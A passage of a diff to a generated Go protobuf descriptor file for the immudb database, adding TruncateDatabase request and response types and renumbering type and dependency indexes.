0x6d, 0x75, 0x64, 0x62, 0x20, 0x52, 0x45, 0x53, 0x54, 0x20, - 0x41, 0x50, 0x49, 0x12, 0xda, 0x01, 0x3c, 0x62, 0x3e, 0x49, 0x4d, 0x50, 0x4f, 0x52, 0x54, 0x41, - 0x4e, 0x54, 0x3c, 0x2f, 0x62, 0x3e, 0x3a, 0x20, 0x41, 0x6c, 0x6c, 0x20, 0x3c, 0x63, 0x6f, 0x64, - 0x65, 0x3e, 0x67, 0x65, 0x74, 0x3c, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x20, 0x61, 0x6e, 0x64, - 0x20, 0x3c, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x73, 0x61, 0x66, 0x65, 0x67, 0x65, 0x74, 0x3c, 0x2f, - 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x20, 0x66, 0x75, 0x6e, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x20, - 0x72, 0x65, 0x74, 0x75, 0x72, 0x6e, 0x20, 0x3c, 0x75, 0x3e, 0x62, 0x61, 0x73, 0x65, 0x36, 0x34, - 0x2d, 0x65, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x64, 0x3c, 0x2f, 0x75, 0x3e, 0x20, 0x6b, 0x65, 0x79, - 0x73, 0x20, 0x61, 0x6e, 0x64, 0x20, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x73, 0x2c, 0x20, 0x77, 0x68, - 0x69, 0x6c, 0x65, 0x20, 0x61, 0x6c, 0x6c, 0x20, 0x3c, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x73, 0x65, - 0x74, 0x3c, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x20, 0x61, 0x6e, 0x64, 0x20, 0x3c, 0x63, 0x6f, - 0x64, 0x65, 0x3e, 0x73, 0x61, 0x66, 0x65, 0x73, 0x65, 0x74, 0x3c, 0x2f, 0x63, 0x6f, 0x64, 0x65, - 0x3e, 0x20, 0x66, 0x75, 0x6e, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x20, 0x65, 0x78, 0x70, 0x65, - 0x63, 0x74, 0x20, 0x3c, 0x75, 0x3e, 0x62, 0x61, 0x73, 0x65, 0x36, 0x34, 0x2d, 0x65, 0x6e, 0x63, - 0x6f, 0x64, 0x65, 0x64, 0x3c, 0x2f, 0x75, 0x3e, 0x20, 0x69, 0x6e, 0x70, 0x75, 0x74, 0x73, 0x2e, - 0x5a, 0x59, 0x0a, 0x57, 0x0a, 0x06, 0x62, 0x65, 0x61, 0x72, 0x65, 0x72, 0x12, 0x4d, 0x08, 0x02, - 0x12, 0x38, 0x41, 0x75, 0x74, 0x68, 0x65, 0x6e, 0x74, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, - 0x20, 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x2c, 0x20, 0x70, 0x72, 0x65, 0x66, 0x69, 0x78, 0x65, 0x64, - 0x20, 0x62, 0x79, 0x20, 0x42, 0x65, 0x61, 0x72, 0x65, 0x72, 0x3a, 0x20, 0x42, 0x65, 0x61, 0x72, - 0x65, 0x72, 0x20, 0x3c, 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x3e, 0x1a, 0x0d, 0x41, 0x75, 0x74, 0x68, - 0x6f, 0x72, 0x69, 0x7a, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x20, 0x02, 0x62, 0x0c, 0x0a, 0x0a, 0x0a, - 0x06, 0x62, 0x65, 0x61, 0x72, 0x65, 0x72, 0x12, 0x00, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, - 0x33, + 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, + 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x27, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, 0x65, 0x44, + 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, + 0x17, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x11, 0x22, 0x0c, 0x2f, 0x64, 0x62, 0x2f, 0x74, 0x72, 0x75, + 0x6e, 0x63, 0x61, 0x74, 0x65, 0x3a, 0x01, 0x2a, 0x42, 0x8b, 0x03, 0x5a, 0x2b, 0x67, 0x69, 0x74, + 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x6e, 0x6f, 0x74, 0x61, + 0x72, 0x79, 0x2f, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2f, 0x70, 0x6b, 0x67, 0x2f, 0x61, 0x70, + 0x69, 0x2f, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x92, 0x41, 0xda, 0x02, 0x12, 0xee, 0x01, 0x0a, + 0x0f, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x20, 0x52, 0x45, 0x53, 0x54, 0x20, 0x41, 0x50, 0x49, + 0x12, 0xda, 0x01, 0x3c, 0x62, 0x3e, 0x49, 0x4d, 0x50, 0x4f, 0x52, 0x54, 0x41, 0x4e, 0x54, 0x3c, + 0x2f, 0x62, 0x3e, 0x3a, 0x20, 0x41, 0x6c, 0x6c, 0x20, 0x3c, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x67, + 0x65, 0x74, 0x3c, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x20, 0x61, 0x6e, 0x64, 0x20, 0x3c, 0x63, + 0x6f, 0x64, 0x65, 0x3e, 0x73, 0x61, 0x66, 0x65, 0x67, 0x65, 0x74, 0x3c, 0x2f, 0x63, 0x6f, 0x64, + 0x65, 0x3e, 0x20, 0x66, 0x75, 0x6e, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x20, 0x72, 0x65, 0x74, + 0x75, 0x72, 0x6e, 0x20, 0x3c, 0x75, 0x3e, 0x62, 0x61, 0x73, 0x65, 0x36, 0x34, 0x2d, 0x65, 0x6e, + 0x63, 0x6f, 0x64, 0x65, 0x64, 0x3c, 0x2f, 0x75, 0x3e, 0x20, 0x6b, 0x65, 0x79, 0x73, 0x20, 0x61, + 0x6e, 0x64, 0x20, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x73, 0x2c, 0x20, 0x77, 0x68, 0x69, 0x6c, 0x65, + 0x20, 0x61, 0x6c, 0x6c, 0x20, 0x3c, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x73, 0x65, 0x74, 0x3c, 0x2f, + 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x20, 0x61, 0x6e, 0x64, 0x20, 0x3c, 0x63, 0x6f, 0x64, 0x65, 0x3e, + 0x73, 0x61, 0x66, 0x65, 0x73, 0x65, 0x74, 0x3c, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x20, 0x66, + 0x75, 0x6e, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x20, 0x65, 0x78, 0x70, 0x65, 0x63, 0x74, 0x20, + 0x3c, 0x75, 0x3e, 0x62, 0x61, 0x73, 0x65, 0x36, 0x34, 0x2d, 0x65, 0x6e, 0x63, 0x6f, 0x64, 0x65, + 0x64, 0x3c, 0x2f, 0x75, 0x3e, 0x20, 0x69, 0x6e, 0x70, 0x75, 0x74, 0x73, 0x2e, 0x5a, 0x59, 0x0a, + 0x57, 0x0a, 0x06, 0x62, 0x65, 0x61, 0x72, 0x65, 0x72, 0x12, 0x4d, 0x08, 0x02, 0x12, 0x38, 0x41, + 0x75, 0x74, 0x68, 0x65, 0x6e, 0x74, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x20, 0x74, 0x6f, + 0x6b, 0x65, 0x6e, 0x2c, 0x20, 0x70, 0x72, 0x65, 0x66, 0x69, 0x78, 0x65, 0x64, 0x20, 0x62, 0x79, + 0x20, 0x42, 0x65, 0x61, 0x72, 0x65, 0x72, 0x3a, 0x20, 0x42, 0x65, 0x61, 0x72, 0x65, 0x72, 0x20, + 0x3c, 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x3e, 0x1a, 0x0d, 0x41, 0x75, 0x74, 0x68, 0x6f, 0x72, 0x69, + 0x7a, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x20, 0x02, 0x62, 0x0c, 0x0a, 0x0a, 0x0a, 0x06, 0x62, 0x65, + 0x61, 0x72, 0x65, 0x72, 0x12, 0x00, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, } var ( @@ -10014,7 +10138,7 @@ func file_schema_proto_rawDescGZIP() []byte { } var file_schema_proto_enumTypes = make([]protoimpl.EnumInfo, 3) -var file_schema_proto_msgTypes = make([]protoimpl.MessageInfo, 127) +var file_schema_proto_msgTypes = make([]protoimpl.MessageInfo, 129) var file_schema_proto_goTypes = []interface{}{ (EntryTypeAction)(0), // 0: immudb.schema.EntryTypeAction (PermissionAction)(0), // 1: immudb.schema.PermissionAction @@ -10137,24 +10261,26 @@ var file_schema_proto_goTypes = []interface{}{ (*ErrorInfo)(nil), // 118: immudb.schema.ErrorInfo (*DebugInfo)(nil), // 119: immudb.schema.DebugInfo (*RetryInfo)(nil), // 120: immudb.schema.RetryInfo - (*Precondition_KeyMustExistPrecondition)(nil), // 121: immudb.schema.Precondition.KeyMustExistPrecondition - (*Precondition_KeyMustNotExistPrecondition)(nil), // 122: immudb.schema.Precondition.KeyMustNotExistPrecondition - (*Precondition_KeyNotModifiedAfterTXPrecondition)(nil), // 123: immudb.schema.Precondition.KeyNotModifiedAfterTXPrecondition - nil, // 124: immudb.schema.VerifiableSQLEntry.ColNamesByIdEntry - nil, // 125: immudb.schema.VerifiableSQLEntry.ColIdsByNameEntry - nil, // 126: immudb.schema.VerifiableSQLEntry.ColTypesByIdEntry - nil, // 127: immudb.schema.VerifiableSQLEntry.ColLenByIdEntry - nil, // 128: immudb.schema.CommittedSQLTx.LastInsertedPKsEntry - nil, // 129: immudb.schema.CommittedSQLTx.FirstInsertedPKsEntry - (structpb.NullValue)(0), // 130: google.protobuf.NullValue - (*emptypb.Empty)(nil), // 131: google.protobuf.Empty + (*TruncateDatabaseRequest)(nil), // 121: immudb.schema.TruncateDatabaseRequest + (*TruncateDatabaseResponse)(nil), // 122: immudb.schema.TruncateDatabaseResponse + (*Precondition_KeyMustExistPrecondition)(nil), // 123: immudb.schema.Precondition.KeyMustExistPrecondition + (*Precondition_KeyMustNotExistPrecondition)(nil), // 124: immudb.schema.Precondition.KeyMustNotExistPrecondition + (*Precondition_KeyNotModifiedAfterTXPrecondition)(nil), // 125: immudb.schema.Precondition.KeyNotModifiedAfterTXPrecondition + nil, // 126: immudb.schema.VerifiableSQLEntry.ColNamesByIdEntry + nil, // 127: immudb.schema.VerifiableSQLEntry.ColIdsByNameEntry + nil, // 128: immudb.schema.VerifiableSQLEntry.ColTypesByIdEntry + nil, // 129: immudb.schema.VerifiableSQLEntry.ColLenByIdEntry + nil, // 130: immudb.schema.CommittedSQLTx.LastInsertedPKsEntry + nil, // 131: immudb.schema.CommittedSQLTx.FirstInsertedPKsEntry + (structpb.NullValue)(0), // 132: google.protobuf.NullValue + (*emptypb.Empty)(nil), // 133: google.protobuf.Empty } var file_schema_proto_depIdxs = []int32{ 4, // 0: immudb.schema.User.permissions:type_name -> immudb.schema.Permission 5, // 1: immudb.schema.UserList.users:type_name -> immudb.schema.User - 121, // 2: immudb.schema.Precondition.keyMustExist:type_name -> immudb.schema.Precondition.KeyMustExistPrecondition - 122, // 3: immudb.schema.Precondition.keyMustNotExist:type_name -> immudb.schema.Precondition.KeyMustNotExistPrecondition - 123, // 4: immudb.schema.Precondition.keyNotModifiedAfterTX:type_name -> immudb.schema.Precondition.KeyNotModifiedAfterTXPrecondition + 123, // 2: immudb.schema.Precondition.keyMustExist:type_name -> immudb.schema.Precondition.KeyMustExistPrecondition + 124, // 3: immudb.schema.Precondition.keyMustNotExist:type_name -> immudb.schema.Precondition.KeyMustNotExistPrecondition + 125, // 4: immudb.schema.Precondition.keyNotModifiedAfterTX:type_name -> immudb.schema.Precondition.KeyNotModifiedAfterTXPrecondition 36, // 5: immudb.schema.KeyValue.metadata:type_name -> immudb.schema.KVMetadata 19, // 6: immudb.schema.Entry.referencedBy:type_name -> immudb.schema.Reference 36, // 7: immudb.schema.Entry.metadata:type_name -> immudb.schema.KVMetadata @@ -10267,10 +10393,10 @@ var file_schema_proto_depIdxs = []int32{ 96, // 114: immudb.schema.VerifiableSQLEntry.sqlEntry:type_name -> immudb.schema.SQLEntry 38, // 115: immudb.schema.VerifiableSQLEntry.verifiableTx:type_name -> immudb.schema.VerifiableTx 40, // 116: immudb.schema.VerifiableSQLEntry.inclusionProof:type_name -> immudb.schema.InclusionProof - 124, // 117: immudb.schema.VerifiableSQLEntry.ColNamesById:type_name -> immudb.schema.VerifiableSQLEntry.ColNamesByIdEntry - 125, // 118: immudb.schema.VerifiableSQLEntry.ColIdsByName:type_name -> immudb.schema.VerifiableSQLEntry.ColIdsByNameEntry - 126, // 119: immudb.schema.VerifiableSQLEntry.ColTypesById:type_name -> immudb.schema.VerifiableSQLEntry.ColTypesByIdEntry - 127, // 120: immudb.schema.VerifiableSQLEntry.ColLenById:type_name -> immudb.schema.VerifiableSQLEntry.ColLenByIdEntry + 126, // 117: immudb.schema.VerifiableSQLEntry.ColNamesById:type_name -> immudb.schema.VerifiableSQLEntry.ColNamesByIdEntry + 127, // 118: immudb.schema.VerifiableSQLEntry.ColIdsByName:type_name -> immudb.schema.VerifiableSQLEntry.ColIdsByNameEntry + 128, // 119: immudb.schema.VerifiableSQLEntry.ColTypesById:type_name -> immudb.schema.VerifiableSQLEntry.ColTypesByIdEntry + 129, // 120: immudb.schema.VerifiableSQLEntry.ColLenById:type_name -> immudb.schema.VerifiableSQLEntry.ColLenByIdEntry 1, // 121: immudb.schema.ChangePermissionRequest.action:type_name -> immudb.schema.PermissionAction 67, // 122: immudb.schema.DatabaseListResponse.databases:type_name -> immudb.schema.Database 104, // 123: immudb.schema.DatabaseListResponseV2.databases:type_name -> immudb.schema.DatabaseWithSettings @@ -10280,162 +10406,165 @@ var file_schema_proto_depIdxs = []int32{ 115, // 127: immudb.schema.NamedParam.value:type_name -> immudb.schema.SQLValue 111, // 128: immudb.schema.SQLExecResult.txs:type_name -> immudb.schema.CommittedSQLTx 29, // 129: immudb.schema.CommittedSQLTx.header:type_name -> immudb.schema.TxHeader - 128, // 130: immudb.schema.CommittedSQLTx.lastInsertedPKs:type_name -> immudb.schema.CommittedSQLTx.LastInsertedPKsEntry - 129, // 131: immudb.schema.CommittedSQLTx.firstInsertedPKs:type_name -> immudb.schema.CommittedSQLTx.FirstInsertedPKsEntry + 130, // 130: immudb.schema.CommittedSQLTx.lastInsertedPKs:type_name -> immudb.schema.CommittedSQLTx.LastInsertedPKsEntry + 131, // 131: immudb.schema.CommittedSQLTx.firstInsertedPKs:type_name -> immudb.schema.CommittedSQLTx.FirstInsertedPKsEntry 113, // 132: immudb.schema.SQLQueryResult.columns:type_name -> immudb.schema.Column 114, // 133: immudb.schema.SQLQueryResult.rows:type_name -> immudb.schema.Row 115, // 134: immudb.schema.Row.values:type_name -> immudb.schema.SQLValue - 130, // 135: immudb.schema.SQLValue.null:type_name -> google.protobuf.NullValue + 132, // 135: immudb.schema.SQLValue.null:type_name -> google.protobuf.NullValue 2, // 136: immudb.schema.NewTxRequest.mode:type_name -> immudb.schema.TxMode 76, // 137: immudb.schema.NewTxRequest.snapshotMustIncludeTxID:type_name -> immudb.schema.NullableUint64 80, // 138: immudb.schema.NewTxRequest.snapshotRenewalPeriod:type_name -> immudb.schema.NullableMilliseconds - 115, // 139: immudb.schema.CommittedSQLTx.LastInsertedPKsEntry.value:type_name -> immudb.schema.SQLValue - 115, // 140: immudb.schema.CommittedSQLTx.FirstInsertedPKsEntry.value:type_name -> immudb.schema.SQLValue - 131, // 141: immudb.schema.ImmuService.ListUsers:input_type -> google.protobuf.Empty - 7, // 142: immudb.schema.ImmuService.CreateUser:input_type -> immudb.schema.CreateUserRequest - 9, // 143: immudb.schema.ImmuService.ChangePassword:input_type -> immudb.schema.ChangePasswordRequest - 99, // 144: immudb.schema.ImmuService.ChangePermission:input_type -> immudb.schema.ChangePermissionRequest - 100, // 145: immudb.schema.ImmuService.SetActiveUser:input_type -> immudb.schema.SetActiveUserRequest - 12, // 146: immudb.schema.ImmuService.UpdateAuthConfig:input_type -> immudb.schema.AuthConfig - 13, // 147: immudb.schema.ImmuService.UpdateMTLSConfig:input_type -> immudb.schema.MTLSConfig - 14, // 148: immudb.schema.ImmuService.OpenSession:input_type -> immudb.schema.OpenSessionRequest - 131, // 149: immudb.schema.ImmuService.CloseSession:input_type -> google.protobuf.Empty - 131, // 150: immudb.schema.ImmuService.KeepAlive:input_type -> google.protobuf.Empty - 116, // 151: immudb.schema.ImmuService.NewTx:input_type -> immudb.schema.NewTxRequest - 131, // 152: immudb.schema.ImmuService.Commit:input_type -> google.protobuf.Empty - 131, // 153: immudb.schema.ImmuService.Rollback:input_type -> google.protobuf.Empty - 107, // 154: immudb.schema.ImmuService.TxSQLExec:input_type -> immudb.schema.SQLExecRequest - 108, // 155: immudb.schema.ImmuService.TxSQLQuery:input_type -> immudb.schema.SQLQueryRequest - 10, // 156: immudb.schema.ImmuService.Login:input_type -> immudb.schema.LoginRequest - 131, // 157: immudb.schema.ImmuService.Logout:input_type -> google.protobuf.Empty - 41, // 158: immudb.schema.ImmuService.Set:input_type -> immudb.schema.SetRequest - 45, // 159: immudb.schema.ImmuService.VerifiableSet:input_type -> immudb.schema.VerifiableSetRequest - 42, // 160: immudb.schema.ImmuService.Get:input_type -> immudb.schema.KeyRequest - 46, // 161: immudb.schema.ImmuService.VerifiableGet:input_type -> immudb.schema.VerifiableGetRequest - 44, // 162: immudb.schema.ImmuService.Delete:input_type -> immudb.schema.DeleteKeysRequest - 43, // 163: immudb.schema.ImmuService.GetAll:input_type -> immudb.schema.KeyListRequest - 21, // 164: immudb.schema.ImmuService.ExecAll:input_type -> immudb.schema.ExecAllRequest - 25, // 165: immudb.schema.ImmuService.Scan:input_type -> immudb.schema.ScanRequest - 26, // 166: immudb.schema.ImmuService.Count:input_type -> immudb.schema.KeyPrefix - 131, // 167: immudb.schema.ImmuService.CountAll:input_type -> google.protobuf.Empty - 59, // 168: immudb.schema.ImmuService.TxById:input_type -> immudb.schema.TxRequest - 62, // 169: immudb.schema.ImmuService.VerifiableTxById:input_type -> immudb.schema.VerifiableTxRequest - 63, // 170: immudb.schema.ImmuService.TxScan:input_type -> immudb.schema.TxScanRequest - 57, // 171: immudb.schema.ImmuService.History:input_type -> immudb.schema.HistoryRequest - 47, // 172: immudb.schema.ImmuService.ServerInfo:input_type -> immudb.schema.ServerInfoRequest - 131, // 173: immudb.schema.ImmuService.Health:input_type -> google.protobuf.Empty - 131, // 174: immudb.schema.ImmuService.DatabaseHealth:input_type -> google.protobuf.Empty - 131, // 175: immudb.schema.ImmuService.CurrentState:input_type -> google.protobuf.Empty - 52, // 176: immudb.schema.ImmuService.SetReference:input_type -> immudb.schema.ReferenceRequest - 53, // 177: immudb.schema.ImmuService.VerifiableSetReference:input_type -> immudb.schema.VerifiableReferenceRequest - 54, // 178: immudb.schema.ImmuService.ZAdd:input_type -> immudb.schema.ZAddRequest - 58, // 179: immudb.schema.ImmuService.VerifiableZAdd:input_type -> immudb.schema.VerifiableZAddRequest - 56, // 180: immudb.schema.ImmuService.ZScan:input_type -> immudb.schema.ZScanRequest - 67, // 181: immudb.schema.ImmuService.CreateDatabase:input_type -> immudb.schema.Database - 68, // 182: immudb.schema.ImmuService.CreateDatabaseWith:input_type -> immudb.schema.DatabaseSettings - 69, // 183: immudb.schema.ImmuService.CreateDatabaseV2:input_type -> immudb.schema.CreateDatabaseRequest - 85, // 184: immudb.schema.ImmuService.LoadDatabase:input_type -> immudb.schema.LoadDatabaseRequest - 87, // 185: immudb.schema.ImmuService.UnloadDatabase:input_type -> immudb.schema.UnloadDatabaseRequest - 89, // 186: immudb.schema.ImmuService.DeleteDatabase:input_type -> immudb.schema.DeleteDatabaseRequest - 131, // 187: immudb.schema.ImmuService.DatabaseList:input_type -> google.protobuf.Empty - 102, // 188: immudb.schema.ImmuService.DatabaseListV2:input_type -> immudb.schema.DatabaseListRequestV2 - 67, // 189: immudb.schema.ImmuService.UseDatabase:input_type -> immudb.schema.Database - 68, // 190: immudb.schema.ImmuService.UpdateDatabase:input_type -> immudb.schema.DatabaseSettings - 71, // 191: immudb.schema.ImmuService.UpdateDatabaseV2:input_type -> immudb.schema.UpdateDatabaseRequest - 131, // 192: immudb.schema.ImmuService.GetDatabaseSettings:input_type -> google.protobuf.Empty - 73, // 193: immudb.schema.ImmuService.GetDatabaseSettingsV2:input_type -> immudb.schema.DatabaseSettingsRequest - 91, // 194: immudb.schema.ImmuService.FlushIndex:input_type -> immudb.schema.FlushIndexRequest - 131, // 195: immudb.schema.ImmuService.CompactIndex:input_type -> google.protobuf.Empty - 42, // 196: immudb.schema.ImmuService.streamGet:input_type -> immudb.schema.KeyRequest - 105, // 197: immudb.schema.ImmuService.streamSet:input_type -> immudb.schema.Chunk - 46, // 198: immudb.schema.ImmuService.streamVerifiableGet:input_type -> immudb.schema.VerifiableGetRequest - 105, // 199: immudb.schema.ImmuService.streamVerifiableSet:input_type -> immudb.schema.Chunk - 25, // 200: immudb.schema.ImmuService.streamScan:input_type -> immudb.schema.ScanRequest - 56, // 201: immudb.schema.ImmuService.streamZScan:input_type -> immudb.schema.ZScanRequest - 57, // 202: immudb.schema.ImmuService.streamHistory:input_type -> immudb.schema.HistoryRequest - 105, // 203: immudb.schema.ImmuService.streamExecAll:input_type -> immudb.schema.Chunk - 65, // 204: immudb.schema.ImmuService.exportTx:input_type -> immudb.schema.ExportTxRequest - 105, // 205: immudb.schema.ImmuService.replicateTx:input_type -> immudb.schema.Chunk - 107, // 206: immudb.schema.ImmuService.SQLExec:input_type -> immudb.schema.SQLExecRequest - 108, // 207: immudb.schema.ImmuService.SQLQuery:input_type -> immudb.schema.SQLQueryRequest - 131, // 208: immudb.schema.ImmuService.ListTables:input_type -> google.protobuf.Empty - 93, // 209: immudb.schema.ImmuService.DescribeTable:input_type -> immudb.schema.Table - 95, // 210: immudb.schema.ImmuService.VerifiableSQLGet:input_type -> immudb.schema.VerifiableSQLGetRequest - 6, // 211: immudb.schema.ImmuService.ListUsers:output_type -> immudb.schema.UserList - 131, // 212: immudb.schema.ImmuService.CreateUser:output_type -> google.protobuf.Empty - 131, // 213: immudb.schema.ImmuService.ChangePassword:output_type -> google.protobuf.Empty - 131, // 214: immudb.schema.ImmuService.ChangePermission:output_type -> google.protobuf.Empty - 131, // 215: immudb.schema.ImmuService.SetActiveUser:output_type -> google.protobuf.Empty - 131, // 216: immudb.schema.ImmuService.UpdateAuthConfig:output_type -> google.protobuf.Empty - 131, // 217: immudb.schema.ImmuService.UpdateMTLSConfig:output_type -> google.protobuf.Empty - 15, // 218: immudb.schema.ImmuService.OpenSession:output_type -> immudb.schema.OpenSessionResponse - 131, // 219: immudb.schema.ImmuService.CloseSession:output_type -> google.protobuf.Empty - 131, // 220: immudb.schema.ImmuService.KeepAlive:output_type -> google.protobuf.Empty - 117, // 221: immudb.schema.ImmuService.NewTx:output_type -> immudb.schema.NewTxResponse - 111, // 222: immudb.schema.ImmuService.Commit:output_type -> immudb.schema.CommittedSQLTx - 131, // 223: immudb.schema.ImmuService.Rollback:output_type -> google.protobuf.Empty - 131, // 224: immudb.schema.ImmuService.TxSQLExec:output_type -> google.protobuf.Empty - 112, // 225: immudb.schema.ImmuService.TxSQLQuery:output_type -> immudb.schema.SQLQueryResult - 11, // 226: immudb.schema.ImmuService.Login:output_type -> immudb.schema.LoginResponse - 131, // 227: immudb.schema.ImmuService.Logout:output_type -> google.protobuf.Empty - 29, // 228: immudb.schema.ImmuService.Set:output_type -> immudb.schema.TxHeader - 38, // 229: immudb.schema.ImmuService.VerifiableSet:output_type -> immudb.schema.VerifiableTx - 18, // 230: immudb.schema.ImmuService.Get:output_type -> immudb.schema.Entry - 39, // 231: immudb.schema.ImmuService.VerifiableGet:output_type -> immudb.schema.VerifiableEntry - 29, // 232: immudb.schema.ImmuService.Delete:output_type -> immudb.schema.TxHeader - 22, // 233: immudb.schema.ImmuService.GetAll:output_type -> immudb.schema.Entries - 29, // 234: immudb.schema.ImmuService.ExecAll:output_type -> immudb.schema.TxHeader - 22, // 235: immudb.schema.ImmuService.Scan:output_type -> immudb.schema.Entries - 27, // 236: immudb.schema.ImmuService.Count:output_type -> immudb.schema.EntryCount - 27, // 237: immudb.schema.ImmuService.CountAll:output_type -> immudb.schema.EntryCount - 34, // 238: immudb.schema.ImmuService.TxById:output_type -> immudb.schema.Tx - 38, // 239: immudb.schema.ImmuService.VerifiableTxById:output_type -> immudb.schema.VerifiableTx - 64, // 240: immudb.schema.ImmuService.TxScan:output_type -> immudb.schema.TxList - 22, // 241: immudb.schema.ImmuService.History:output_type -> immudb.schema.Entries - 48, // 242: immudb.schema.ImmuService.ServerInfo:output_type -> immudb.schema.ServerInfoResponse - 49, // 243: immudb.schema.ImmuService.Health:output_type -> immudb.schema.HealthResponse - 50, // 244: immudb.schema.ImmuService.DatabaseHealth:output_type -> immudb.schema.DatabaseHealthResponse - 51, // 245: immudb.schema.ImmuService.CurrentState:output_type -> immudb.schema.ImmutableState - 29, // 246: immudb.schema.ImmuService.SetReference:output_type -> immudb.schema.TxHeader - 38, // 247: immudb.schema.ImmuService.VerifiableSetReference:output_type -> immudb.schema.VerifiableTx - 29, // 248: immudb.schema.ImmuService.ZAdd:output_type -> immudb.schema.TxHeader - 38, // 249: immudb.schema.ImmuService.VerifiableZAdd:output_type -> immudb.schema.VerifiableTx - 24, // 250: immudb.schema.ImmuService.ZScan:output_type -> immudb.schema.ZEntries - 131, // 251: immudb.schema.ImmuService.CreateDatabase:output_type -> google.protobuf.Empty - 131, // 252: immudb.schema.ImmuService.CreateDatabaseWith:output_type -> google.protobuf.Empty - 70, // 253: immudb.schema.ImmuService.CreateDatabaseV2:output_type -> immudb.schema.CreateDatabaseResponse - 86, // 254: immudb.schema.ImmuService.LoadDatabase:output_type -> immudb.schema.LoadDatabaseResponse - 88, // 255: immudb.schema.ImmuService.UnloadDatabase:output_type -> immudb.schema.UnloadDatabaseResponse - 90, // 256: immudb.schema.ImmuService.DeleteDatabase:output_type -> immudb.schema.DeleteDatabaseResponse - 101, // 257: immudb.schema.ImmuService.DatabaseList:output_type -> immudb.schema.DatabaseListResponse - 103, // 258: immudb.schema.ImmuService.DatabaseListV2:output_type -> immudb.schema.DatabaseListResponseV2 - 98, // 259: immudb.schema.ImmuService.UseDatabase:output_type -> immudb.schema.UseDatabaseReply - 131, // 260: immudb.schema.ImmuService.UpdateDatabase:output_type -> google.protobuf.Empty - 72, // 261: immudb.schema.ImmuService.UpdateDatabaseV2:output_type -> immudb.schema.UpdateDatabaseResponse - 68, // 262: immudb.schema.ImmuService.GetDatabaseSettings:output_type -> immudb.schema.DatabaseSettings - 74, // 263: immudb.schema.ImmuService.GetDatabaseSettingsV2:output_type -> immudb.schema.DatabaseSettingsResponse - 92, // 264: immudb.schema.ImmuService.FlushIndex:output_type -> immudb.schema.FlushIndexResponse - 131, // 265: immudb.schema.ImmuService.CompactIndex:output_type -> google.protobuf.Empty - 105, // 266: immudb.schema.ImmuService.streamGet:output_type -> immudb.schema.Chunk - 29, // 267: immudb.schema.ImmuService.streamSet:output_type -> immudb.schema.TxHeader - 105, // 268: immudb.schema.ImmuService.streamVerifiableGet:output_type -> immudb.schema.Chunk - 38, // 269: immudb.schema.ImmuService.streamVerifiableSet:output_type -> immudb.schema.VerifiableTx - 105, // 270: immudb.schema.ImmuService.streamScan:output_type -> immudb.schema.Chunk - 105, // 271: immudb.schema.ImmuService.streamZScan:output_type -> immudb.schema.Chunk - 105, // 272: immudb.schema.ImmuService.streamHistory:output_type -> immudb.schema.Chunk - 29, // 273: immudb.schema.ImmuService.streamExecAll:output_type -> immudb.schema.TxHeader - 105, // 274: immudb.schema.ImmuService.exportTx:output_type -> immudb.schema.Chunk - 29, // 275: immudb.schema.ImmuService.replicateTx:output_type -> immudb.schema.TxHeader - 110, // 276: immudb.schema.ImmuService.SQLExec:output_type -> immudb.schema.SQLExecResult - 112, // 277: immudb.schema.ImmuService.SQLQuery:output_type -> immudb.schema.SQLQueryResult - 112, // 278: immudb.schema.ImmuService.ListTables:output_type -> immudb.schema.SQLQueryResult - 112, // 279: immudb.schema.ImmuService.DescribeTable:output_type -> immudb.schema.SQLQueryResult - 97, // 280: immudb.schema.ImmuService.VerifiableSQLGet:output_type -> immudb.schema.VerifiableSQLEntry - 211, // [211:281] is the sub-list for method output_type - 141, // [141:211] is the sub-list for method input_type - 141, // [141:141] is the sub-list for extension type_name - 141, // [141:141] is the sub-list for extension extendee - 0, // [0:141] is the sub-list for field type_name + 80, // 139: immudb.schema.TruncateDatabaseRequest.retentionPeriod:type_name -> immudb.schema.NullableMilliseconds + 115, // 140: immudb.schema.CommittedSQLTx.LastInsertedPKsEntry.value:type_name -> immudb.schema.SQLValue + 115, // 141: immudb.schema.CommittedSQLTx.FirstInsertedPKsEntry.value:type_name -> 